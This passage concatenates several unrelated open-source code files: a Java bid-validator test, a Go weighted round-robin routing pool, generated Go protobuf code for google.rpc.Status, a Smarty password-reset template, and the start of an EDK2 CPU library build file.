response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testFlashless() {\n BidRequest request = BidRequest.newBuilder()\n .setId(ByteString.copyFromUtf8(\"0\"))\n .addAdslot(BidRequest.AdSlot.newBuilder()\n .setId(1)\n .addWidth(200)\n .addHeight(50)\n .addMatchingAdData(MatchingAdData.newBuilder().addBillingId(10))\n .addExcludedAttribute(DoubleClickValidator.CREATIVE_FLASH))\n .build();\n\n BidResponse.Builder goodResp = BidResponse.newBuilder().addAd(testBid()\n .addAttribute(DoubleClickValidator.CREATIVE_NON_FLASH));\n validator.validate(request, goodResp);\n assertThat(bids(goodResp)).isNotEmpty();\n\n BidResponse.Builder badResp1 = BidResponse.newBuilder().addAd(testBid());\n validator.validate(request, badResp1);\n assertThat(bids(badResp1)).isEmpty();\n }\n\n @Test\n public void testSSL() {\n BidRequest request = BidRequest.newBuilder()\n .setId(ByteString.copyFromUtf8(\"0\"))\n .addAdslot(BidRequest.AdSlot.newBuilder()\n .setId(1)\n .addWidth(200)\n .addHeight(50)\n .addMatchingAdData(MatchingAdData.newBuilder().addBillingId(10))\n .addExcludedAttribute(DoubleClickValidator.CREATIVE_NON_SSL))\n .build();\n\n BidResponse.Builder goodResp = BidResponse.newBuilder().addAd(testBid()\n .addAttribute(DoubleClickValidator.CREATIVE_SSL)\n .addClickThroughUrl(\"https://safe.com\"));\n validator.validate(request, goodResp);\n assertThat(bids(goodResp)).isNotEmpty();\n\n BidResponse.Builder badResp1 = BidResponse.newBuilder().addAd(testBid());\n validator.validate(request, badResp1);\n assertThat(bids(badResp1)).isEmpty();\n }\n\n @Test\n public void testNoImp() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(BidResponse.Ad.newBuilder()\n .addAdslot(BidResponse.Ad.AdSlot.newBuilder()\n .setId(3)\n .setMaxCpmMicros(100000000L)));\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n }\n\n @Test\n public void testDeals() {\n BidResponse.Builder response = BidResponse.newBuilder()\n .addAd(BidResponse.Ad.newBuilder()\n .addAdslot(BidResponse.Ad.AdSlot.newBuilder()\n .setId(1)\n .setDealId(1)\n .setMaxCpmMicros(100000000L))\n .addAdslot(BidResponse.Ad.AdSlot.newBuilder()\n .setId(1)\n .setDealId(3)\n .setMaxCpmMicros(100000000L)));\n validator.validate(request, response);\n assertThat(bids(response)).hasSize(1);\n }\n\n @Test\n public void testNoSlots() {\n BidResponse.Builder response = BidResponse.newBuilder().addAd(BidResponse.Ad.newBuilder());\n validator.validate(request, response);\n assertThat(bids(response)).isEmpty();\n }\n\n private static ImmutableList bids(BidResponse.Builder response) {\n ImmutableList.Builder list = ImmutableList.builder();\n for (BidResponse.Ad.Builder ad : response.getAdBuilderList()) {\n list.addAll(ad.getAdslotBuilderList());\n }\n return list.build();\n }\n\n private static BidResponse.Ad.Builder testBid() {\n return BidResponse.Ad.newBuilder()\n .addAdslot(BidResponse.Ad.AdSlot.newBuilder()\n .setId(1)\n .setMaxCpmMicros(100000000L));\n }\n}\n"} -{"text": "package weightpool\n\nimport (\n\t\"sync\"\n\n\t\"github.com/go-chassis/go-chassis/core/common\"\n\t\"github.com/go-chassis/go-chassis/core/config\"\n)\n\nvar weightPool *SafePool\nvar once sync.Once\n\nfunc init() { once.Do(func() { weightPool = &SafePool{pool: map[string]*Pool{}} }) }\n\n// GetPool returns singleton of weightPool\nfunc GetPool() *SafePool { return weightPool }\n\n// SafePool is a cache for pool of all destination\ntype SafePool struct {\n\tsync.RWMutex\n\tpool map[string]*Pool\n}\n\n// Get returns specific pool for key\nfunc (s *SafePool) Get(key string) (*Pool, bool) {\n\ts.RLock()\n\tvalue, ok := s.pool[key]\n\ts.RUnlock()\n\treturn value, ok\n}\n\n// Set can set pool to safe cache\nfunc (s *SafePool) Set(key string, value *Pool) {\n\ts.Lock()\n\ts.pool[key] = value\n\ts.Unlock()\n}\n\n// Reset can delete pool for specific key\nfunc (s *SafePool) Reset(key string) {\n\ts.Lock()\n\tdelete(s.pool, key)\n\ts.Unlock()\n}\n\n/* Weighted Round-Robin Scheduling\nhttp://zh.linuxvirtualserver.org/node/37\n\nwhile (true) {\n i = (i + 1) mod n;\n if (i == 0) {\n cw = cw - gcd(S);\n if (cw <= 0) {\n cw = max(S);\n if (cw == 0)\n return NULL;\n }\n }\n if (W(Si) >= cw)\n return Si;\n}*/\n\n// Pool defines sets of weighted tags\ntype Pool struct {\n\ttags []config.RouteTag\n\n\tmu sync.RWMutex\n\tgcd int\n\tmax int\n\ti int\n\tcw int\n\tnum int\n}\n\n// NewPool returns pool for provided tags\nfunc NewPool(routeTags ...*config.RouteTag) *Pool {\n\tvar total int\n\tp := &Pool{tags: make([]config.RouteTag, len(routeTags))}\n\tfor i, t := range routeTags {\n\t\tif t.Weight > 0 {\n\t\t\ttotal += t.Weight\n\t\t\tp.refreshGCD(t)\n\t\t}\n\t\tp.tags[i] = *t\n\t}\n\n\tif total < 100 {\n\t\tlatestT := config.RouteTag{\n\t\t\tWeight: 100 - total,\n\t\t\tTags: map[string]string{\n\t\t\t\tcommon.BuildinTagVersion: common.LatestVersion,\n\t\t\t},\n\t\t\tLabel: common.BuildinLabelVersion,\n\t\t}\n\t\tp.refreshGCD(&latestT)\n\t\tp.tags = append(p.tags, latestT)\n\t}\n\n\tp.num = len(p.tags)\n\treturn p\n}\n\n// PickOne returns tag according to its weight\nfunc (p *Pool) PickOne() *config.RouteTag {\n\tif p.num == 0 || p.max == 0 {\n\t\treturn nil\n\t}\n\tif p.num == 1 {\n\t\treturn &p.tags[0]\n\t}\n\n\tp.mu.Lock()\n\tdefer p.mu.Unlock()\n\n\tfor {\n\t\tp.i = (p.i + 1) % p.num\n\t\tif p.i == 0 {\n\t\t\tp.cw = p.cw - p.gcd\n\t\t\tif p.cw <= 0 {\n\t\t\t\tp.cw = p.max\n\t\t\t}\n\t\t}\n\n\t\tif p.tags[p.i].Weight >= p.cw {\n\t\t\treturn &p.tags[p.i]\n\t\t}\n\t}\n}\n\nfunc (p *Pool) refreshGCD(t *config.RouteTag) {\n\tp.gcd = gcd(p.gcd, t.Weight)\n\tif p.max < t.Weight {\n\t\tp.max = t.Weight\n\t}\n}\n\nfunc gcd(a, b int) int {\n\tif b == 0 {\n\t\treturn a\n\t}\n\treturn gcd(b, a%b)\n}\n"} -{"text": "// Code generated by protoc-gen-gogo. DO NOT EDIT.\n// source: google/rpc/status.proto\n\npackage google_rpc\n\nimport (\n\tfmt \"fmt\"\n\tproto \"github.com/gogo/protobuf/proto\"\n\ttypes \"github.com/gogo/protobuf/types\"\n\tio \"io\"\n\tmath \"math\"\n\tmath_bits \"math/bits\"\n\treflect \"reflect\"\n\tstrings \"strings\"\n)\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.GoGoProtoPackageIsVersion3 // please upgrade the proto package\n\n// The `Status` type defines a logical error model that is suitable for\n// different programming environments, including REST APIs and RPC APIs. It is\n// used by [gRPC](https://github.com/grpc). The error model is designed to be:\n//\n// - Simple to use and understand for most users\n// - Flexible enough to meet unexpected needs\n//\n// # Overview\n//\n// The `Status` message contains three pieces of data: error code, error\n// message, and error details. The error code should be an enum value of\n// [google.rpc.Code][google.rpc.Code], but it may accept additional error codes\n// if needed. The error message should be a developer-facing English message\n// that helps developers *understand* and *resolve* the error. If a localized\n// user-facing error message is needed, put the localized message in the error\n// details or localize it in the client. The optional error details may contain\n// arbitrary information about the error. There is a predefined set of error\n// detail types in the package `google.rpc` that can be used for common error\n// conditions.\n//\n// # Language mapping\n//\n// The `Status` message is the logical representation of the error model, but it\n// is not necessarily the actual wire format. When the `Status` message is\n// exposed in different client libraries and different wire protocols, it can be\n// mapped differently. For example, it will likely be mapped to some exceptions\n// in Java, but more likely mapped to some error codes in C.\n//\n// # Other uses\n//\n// The error model and the `Status` message can be used in a variety of\n// environments, either with or without APIs, to provide a\n// consistent developer experience across different environments.\n//\n// Example uses of this error model include:\n//\n// - Partial errors. If a service needs to return partial errors to the client,\n// it may embed the `Status` in the normal response to indicate the partial\n// errors.\n//\n// - Workflow errors. A typical workflow has multiple steps. Each step may\n// have a `Status` message for error reporting.\n//\n// - Batch operations. If a client uses batch request and batch response, the\n// `Status` message should be used directly inside batch response, one for\n// each error sub-response.\n//\n// - Asynchronous operations. If an API call embeds asynchronous operation\n// results in its response, the status of those operations should be\n// represented directly using the `Status` message.\n//\n// - Logging. If some API errors are stored in logs, the message `Status` could\n// be used directly after any stripping needed for security/privacy reasons.\ntype Status struct {\n\t// The status code, which should be an enum value of\n\t// [google.rpc.Code][google.rpc.Code].\n\tCode int32 `protobuf:\"varint,1,opt,name=code,proto3\" json:\"code,omitempty\"`\n\t// A developer-facing error message, which should be in English. Any\n\t// user-facing error message should be localized and sent in the\n\t// [google.rpc.Status.details][google.rpc.Status.details] field, or localized\n\t// by the client.\n\tMessage string `protobuf:\"bytes,2,opt,name=message,proto3\" json:\"message,omitempty\"`\n\t// A list of messages that carry the error details. There is a common set of\n\t// message types for APIs to use.\n\tDetails []*types.Any `protobuf:\"bytes,3,rep,name=details,proto3\" json:\"details,omitempty\"`\n}\n\nfunc (m *Status) Reset() { *m = Status{} }\nfunc (*Status) ProtoMessage() {}\nfunc (*Status) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_24d244abaf643bfe, []int{0}\n}\nfunc (m *Status) XXX_Unmarshal(b []byte) error {\n\treturn m.Unmarshal(b)\n}\nfunc (m *Status) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\tif deterministic {\n\t\treturn xxx_messageInfo_Status.Marshal(b, m, deterministic)\n\t} else {\n\t\tb = b[:cap(b)]\n\t\tn, err := m.MarshalToSizedBuffer(b)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn b[:n], nil\n\t}\n}\nfunc (m *Status) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Status.Merge(m, src)\n}\nfunc (m *Status) XXX_Size() int {\n\treturn m.Size()\n}\nfunc (m *Status) XXX_DiscardUnknown() {\n\txxx_messageInfo_Status.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Status proto.InternalMessageInfo\n\nfunc (m *Status) GetCode() int32 {\n\tif m != nil {\n\t\treturn m.Code\n\t}\n\treturn 0\n}\n\nfunc (m *Status) GetMessage() string {\n\tif m != nil {\n\t\treturn m.Message\n\t}\n\treturn \"\"\n}\n\nfunc (m *Status) GetDetails() []*types.Any {\n\tif m != nil {\n\t\treturn m.Details\n\t}\n\treturn nil\n}\n\nfunc init() {\n\tproto.RegisterType((*Status)(nil), \"google.rpc.Status\")\n}\n\nfunc init() { proto.RegisterFile(\"google/rpc/status.proto\", fileDescriptor_24d244abaf643bfe) }\n\nvar fileDescriptor_24d244abaf643bfe = []byte{\n\t// 233 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x12, 0x4f, 0xcf, 0xcf, 0x4f,\n\t0xcf, 0x49, 0xd5, 0x2f, 0x2a, 0x48, 0xd6, 0x2f, 0x2e, 0x49, 0x2c, 0x29, 0x2d, 0xd6, 0x2b, 0x28,\n\t0xca, 0x2f, 0xc9, 0x17, 0xe2, 0x82, 0x48, 0xe8, 0x15, 0x15, 0x24, 0x4b, 0x49, 0x42, 0x15, 0x81,\n\t0x65, 0x92, 0x4a, 0xd3, 0xf4, 0x13, 0xf3, 0x2a, 0x21, 0xca, 0x94, 0xd2, 0xb8, 0xd8, 0x82, 0xc1,\n\t0xda, 0x84, 0x84, 0xb8, 0x58, 0x92, 0xf3, 0x53, 0x52, 0x25, 0x18, 0x15, 0x18, 0x35, 0x58, 0x83,\n\t0xc0, 0x6c, 0x21, 0x09, 0x2e, 0xf6, 0xdc, 0xd4, 0xe2, 0xe2, 0xc4, 0xf4, 0x54, 0x09, 0x26, 0x05,\n\t0x46, 0x0d, 0xce, 0x20, 0x18, 0x57, 0x48, 0x8f, 0x8b, 0x3d, 0x25, 0xb5, 0x24, 0x31, 0x33, 0xa7,\n\t0x58, 0x82, 0x59, 0x81, 0x59, 0x83, 0xdb, 0x48, 0x44, 0x0f, 0x6a, 0x21, 0xcc, 0x12, 0x3d, 0xc7,\n\t0xbc, 0xca, 0x20, 0x98, 0x22, 0xa7, 0xc8, 0x0b, 0x0f, 0xe5, 0x18, 0x6e, 0x3c, 0x94, 0x63, 0xf8,\n\t0xf0, 0x50, 0x8e, 0xb1, 0xe1, 0x91, 0x1c, 0xe3, 0x8a, 0x47, 0x72, 0x8c, 0x27, 0x1e, 0xc9, 0x31,\n\t0x5e, 0x78, 0x24, 0xc7, 0xf8, 0xe0, 0x91, 0x1c, 0xe3, 0x8b, 0x47, 0x72, 0x0c, 0x1f, 0x1e, 0xc9,\n\t0x31, 0x4e, 0x78, 0x2c, 0xc7, 0x70, 0xe1, 0xb1, 0x1c, 0xc3, 0x8d, 0xc7, 0x72, 0x0c, 0x5c, 0x7c,\n\t0xc9, 0xf9, 0xb9, 0x7a, 0x08, 0x8f, 0x38, 0x71, 0x43, 0xdc, 0x1a, 0x00, 0xb2, 0x22, 0x80, 0x71,\n\t0x11, 0x13, 0x73, 0x50, 0x80, 0x73, 0x12, 0x1b, 0xd8, 0x46, 0x63, 0x40, 0x00, 0x00, 0x00, 0xff,\n\t0xff, 0xc7, 0x28, 0xdc, 0x46, 0x0b, 0x01, 0x00, 0x00,\n}\n\nfunc (this *Status) Equal(that interface{}) bool {\n\tif that == nil {\n\t\treturn this == nil\n\t}\n\n\tthat1, ok := that.(*Status)\n\tif !ok {\n\t\tthat2, ok := that.(Status)\n\t\tif ok {\n\t\t\tthat1 = &that2\n\t\t} else {\n\t\t\treturn false\n\t\t}\n\t}\n\tif that1 == nil {\n\t\treturn this == nil\n\t} else if this == nil {\n\t\treturn false\n\t}\n\tif this.Code != that1.Code {\n\t\treturn false\n\t}\n\tif this.Message != that1.Message {\n\t\treturn false\n\t}\n\tif len(this.Details) != len(that1.Details) {\n\t\treturn false\n\t}\n\tfor i := range this.Details {\n\t\tif !this.Details[i].Equal(that1.Details[i]) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\nfunc (this *Status) GoString() string {\n\tif this == nil {\n\t\treturn \"nil\"\n\t}\n\ts := make([]string, 0, 7)\n\ts = append(s, \"&google_rpc.Status{\")\n\ts = append(s, \"Code: \"+fmt.Sprintf(\"%#v\", this.Code)+\",\\n\")\n\ts = append(s, \"Message: \"+fmt.Sprintf(\"%#v\", this.Message)+\",\\n\")\n\tif this.Details != nil {\n\t\ts = append(s, \"Details: \"+fmt.Sprintf(\"%#v\", this.Details)+\",\\n\")\n\t}\n\ts = append(s, \"}\")\n\treturn strings.Join(s, \"\")\n}\nfunc valueToGoStringStatus(v interface{}, typ string) string {\n\trv := reflect.ValueOf(v)\n\tif rv.IsNil() {\n\t\treturn \"nil\"\n\t}\n\tpv := reflect.Indirect(rv).Interface()\n\treturn fmt.Sprintf(\"func(v %v) *%v { return &v } ( %#v )\", typ, typ, pv)\n}\nfunc (m *Status) Marshal() (dAtA []byte, err error) {\n\tsize := m.Size()\n\tdAtA = make([]byte, size)\n\tn, err := m.MarshalToSizedBuffer(dAtA[:size])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn dAtA[:n], nil\n}\n\nfunc (m *Status) MarshalTo(dAtA []byte) (int, error) {\n\tsize := m.Size()\n\treturn m.MarshalToSizedBuffer(dAtA[:size])\n}\n\nfunc (m *Status) MarshalToSizedBuffer(dAtA []byte) (int, error) {\n\ti := len(dAtA)\n\t_ = i\n\tvar l int\n\t_ = l\n\tif len(m.Details) > 0 {\n\t\tfor iNdEx := len(m.Details) - 1; iNdEx >= 0; iNdEx-- {\n\t\t\t{\n\t\t\t\tsize, err := m.Details[iNdEx].MarshalToSizedBuffer(dAtA[:i])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn 0, err\n\t\t\t\t}\n\t\t\t\ti -= size\n\t\t\t\ti = encodeVarintStatus(dAtA, i, uint64(size))\n\t\t\t}\n\t\t\ti--\n\t\t\tdAtA[i] = 0x1a\n\t\t}\n\t}\n\tif len(m.Message) > 0 {\n\t\ti -= len(m.Message)\n\t\tcopy(dAtA[i:], m.Message)\n\t\ti = encodeVarintStatus(dAtA, i, uint64(len(m.Message)))\n\t\ti--\n\t\tdAtA[i] = 0x12\n\t}\n\tif m.Code != 0 {\n\t\ti = encodeVarintStatus(dAtA, i, uint64(m.Code))\n\t\ti--\n\t\tdAtA[i] = 0x8\n\t}\n\treturn len(dAtA) - i, nil\n}\n\nfunc encodeVarintStatus(dAtA []byte, offset int, v uint64) int {\n\toffset -= sovStatus(v)\n\tbase := offset\n\tfor v >= 1<<7 {\n\t\tdAtA[offset] = uint8(v&0x7f | 0x80)\n\t\tv >>= 7\n\t\toffset++\n\t}\n\tdAtA[offset] = uint8(v)\n\treturn base\n}\nfunc (m *Status) Size() (n int) {\n\tif m == nil {\n\t\treturn 0\n\t}\n\tvar l int\n\t_ = l\n\tif m.Code != 0 {\n\t\tn += 1 + sovStatus(uint64(m.Code))\n\t}\n\tl = len(m.Message)\n\tif l > 0 {\n\t\tn += 1 + l + sovStatus(uint64(l))\n\t}\n\tif len(m.Details) > 0 {\n\t\tfor _, e := range m.Details {\n\t\t\tl = e.Size()\n\t\t\tn += 1 + l + sovStatus(uint64(l))\n\t\t}\n\t}\n\treturn n\n}\n\nfunc sovStatus(x uint64) (n int) {\n\treturn (math_bits.Len64(x|1) + 6) / 7\n}\nfunc sozStatus(x uint64) (n int) {\n\treturn sovStatus(uint64((x << 1) ^ uint64((int64(x) >> 63))))\n}\nfunc (this *Status) String() string {\n\tif this == nil {\n\t\treturn \"nil\"\n\t}\n\trepeatedStringForDetails := \"[]*Any{\"\n\tfor _, f := range this.Details {\n\t\trepeatedStringForDetails += strings.Replace(fmt.Sprintf(\"%v\", f), \"Any\", \"types.Any\", 1) + \",\"\n\t}\n\trepeatedStringForDetails += \"}\"\n\ts := strings.Join([]string{`&Status{`,\n\t\t`Code:` + fmt.Sprintf(\"%v\", this.Code) + `,`,\n\t\t`Message:` + fmt.Sprintf(\"%v\", this.Message) + `,`,\n\t\t`Details:` + repeatedStringForDetails + `,`,\n\t\t`}`,\n\t}, \"\")\n\treturn s\n}\nfunc valueToStringStatus(v interface{}) string {\n\trv := reflect.ValueOf(v)\n\tif rv.IsNil() {\n\t\treturn \"nil\"\n\t}\n\tpv := reflect.Indirect(rv).Interface()\n\treturn fmt.Sprintf(\"*%v\", pv)\n}\nfunc (m *Status) Unmarshal(dAtA []byte) error {\n\tl := len(dAtA)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tpreIndex := iNdEx\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn ErrIntOverflowStatus\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := dAtA[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= uint64(b&0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tfieldNum := int32(wire >> 3)\n\t\twireType := int(wire & 0x7)\n\t\tif wireType == 4 {\n\t\t\treturn fmt.Errorf(\"proto: Status: wiretype end group for non-group\")\n\t\t}\n\t\tif fieldNum <= 0 {\n\t\t\treturn fmt.Errorf(\"proto: Status: illegal tag %d (wire type %d)\", fieldNum, wire)\n\t\t}\n\t\tswitch fieldNum {\n\t\tcase 1:\n\t\t\tif wireType != 0 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Code\", wireType)\n\t\t\t}\n\t\t\tm.Code = 0\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowStatus\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tm.Code |= int32(b&0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\tcase 2:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Message\", wireType)\n\t\t\t}\n\t\t\tvar stringLen uint64\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowStatus\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tstringLen |= uint64(b&0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tintStringLen := int(stringLen)\n\t\t\tif intStringLen < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tpostIndex := iNdEx + intStringLen\n\t\t\tif postIndex < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.Message = string(dAtA[iNdEx:postIndex])\n\t\t\tiNdEx = postIndex\n\t\tcase 3:\n\t\t\tif wireType != 2 {\n\t\t\t\treturn fmt.Errorf(\"proto: wrong wireType = %d for field Details\", wireType)\n\t\t\t}\n\t\t\tvar msglen int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn ErrIntOverflowStatus\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tmsglen |= int(b&0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif msglen < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tpostIndex := iNdEx + msglen\n\t\t\tif postIndex < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tif postIndex > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tm.Details = append(m.Details, &types.Any{})\n\t\t\tif err := m.Details[len(m.Details)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tiNdEx = postIndex\n\t\tdefault:\n\t\t\tiNdEx = preIndex\n\t\t\tskippy, err := skipStatus(dAtA[iNdEx:])\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif skippy < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tif (iNdEx + skippy) < 0 {\n\t\t\t\treturn ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tif (iNdEx + skippy) > l {\n\t\t\t\treturn io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tiNdEx += skippy\n\t\t}\n\t}\n\n\tif iNdEx > l {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\treturn nil\n}\nfunc skipStatus(dAtA []byte) (n int, err error) {\n\tl := len(dAtA)\n\tiNdEx := 0\n\tfor iNdEx < l {\n\t\tvar wire uint64\n\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\tif shift >= 64 {\n\t\t\t\treturn 0, ErrIntOverflowStatus\n\t\t\t}\n\t\t\tif iNdEx >= l {\n\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t}\n\t\t\tb := dAtA[iNdEx]\n\t\t\tiNdEx++\n\t\t\twire |= (uint64(b) & 0x7F) << shift\n\t\t\tif b < 0x80 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\twireType := int(wire & 0x7)\n\t\tswitch wireType {\n\t\tcase 0:\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn 0, ErrIntOverflowStatus\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tiNdEx++\n\t\t\t\tif dAtA[iNdEx-1] < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 1:\n\t\t\tiNdEx += 8\n\t\t\treturn iNdEx, nil\n\t\tcase 2:\n\t\t\tvar length int\n\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\tif shift >= 64 {\n\t\t\t\t\treturn 0, ErrIntOverflowStatus\n\t\t\t\t}\n\t\t\t\tif iNdEx >= l {\n\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t}\n\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\tiNdEx++\n\t\t\t\tlength |= (int(b) & 0x7F) << shift\n\t\t\t\tif b < 0x80 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif length < 0 {\n\t\t\t\treturn 0, ErrInvalidLengthStatus\n\t\t\t}\n\t\t\tiNdEx += length\n\t\t\tif iNdEx < 0 {\n\t\t\t\treturn 0, ErrInvalidLengthStatus\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 3:\n\t\t\tfor {\n\t\t\t\tvar innerWire uint64\n\t\t\t\tvar start int = iNdEx\n\t\t\t\tfor shift := uint(0); ; shift += 7 {\n\t\t\t\t\tif shift >= 64 {\n\t\t\t\t\t\treturn 0, ErrIntOverflowStatus\n\t\t\t\t\t}\n\t\t\t\t\tif iNdEx >= l {\n\t\t\t\t\t\treturn 0, io.ErrUnexpectedEOF\n\t\t\t\t\t}\n\t\t\t\t\tb := dAtA[iNdEx]\n\t\t\t\t\tiNdEx++\n\t\t\t\t\tinnerWire |= (uint64(b) & 0x7F) << shift\n\t\t\t\t\tif b < 0x80 {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tinnerWireType := int(innerWire & 0x7)\n\t\t\t\tif innerWireType == 4 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tnext, err := skipStatus(dAtA[start:])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn 0, err\n\t\t\t\t}\n\t\t\t\tiNdEx = start + next\n\t\t\t\tif iNdEx < 0 {\n\t\t\t\t\treturn 0, ErrInvalidLengthStatus\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn iNdEx, nil\n\t\tcase 4:\n\t\t\treturn iNdEx, nil\n\t\tcase 5:\n\t\t\tiNdEx += 4\n\t\t\treturn iNdEx, nil\n\t\tdefault:\n\t\t\treturn 0, fmt.Errorf(\"proto: illegal wireType %d\", wireType)\n\t\t}\n\t}\n\tpanic(\"unreachable\")\n}\n\nvar (\n\tErrInvalidLengthStatus = fmt.Errorf(\"proto: negative length found during unmarshaling\")\n\tErrIntOverflowStatus = fmt.Errorf(\"proto: integer overflow\")\n)\n"} -{"text": "{if isset($MENUBAR)}{$MENUBAR}{/if}\n
    \n
    \n
      \n
    \n\n

    {'Home'|@translate}{$LEVEL_SEPARATOR}{$title}

    \n
    \n\n{include file='infos_errors.tpl'}\n\n{if $action ne 'none'}\n
    \n
    \n\t{'Forgot your password?'|translate}\n \n\n {if $action eq 'lost'}\n
    {'Please enter your username or email address.'|@translate} {'You will receive a link to create a new password via email.'|@translate}
    \n\n

    \n \n

    \n\n

    \n {elseif $action eq 'reset'}\n\n
    {'Hello'|@translate} {$username}. {'Enter your new password below.'|@translate}
    \n\n

    \n \n

    \n\n

    \n \n

    \n
    \n

    \n {/if}\n\n
    \n{/if} {* $action ne 'none' *}\n\n\n\n
    \n"} -{"text": "## @file\n# Instance of CPU Library for various architecture.\n#\n# CPU Library implemented using ASM functions for IA-32 and X64,\n# PAL CALLs for IPF, and empty functions for EBC.\n#\n# Copyright (c) 2007 - 2014, Intel Corporation. All rights reserved.
    \n# Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.
    \n# Portions copyright (c) 2011 - 2013, ARM Ltd. All rights reserved.
    \n#\n# This program and the accompanying materials\n# are licensed and made available under the terms and conditions of the BSD License\n# which accompanies this distribution. The full text of the license may be found at\n# http://opensource.org/licenses/bsd-license.php.\n# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n#\n#\n##\n\n[Defines]\n INF_VERSION = 0x00010005\n BASE_NAME = BaseCpuLib\n MODULE_UNI_FILE = BaseCpuLib.uni\n FILE_GUID = 4FBD2538-249C-4b50-8F4A-A9E66609CBF6\n MODULE_TYPE = BASE\n VERSION_STRING = 1.0\n LIBRARY_CLASS = CpuLib\n\n\n#\n# VALID_ARCHITECTURES = IA32 X64 IPF EBC ARM AARCH64\n#\n\n[Sources.IA32]\n Ia32/CpuSleep.c | MSFT\n Ia32/CpuFlushTlb.c | 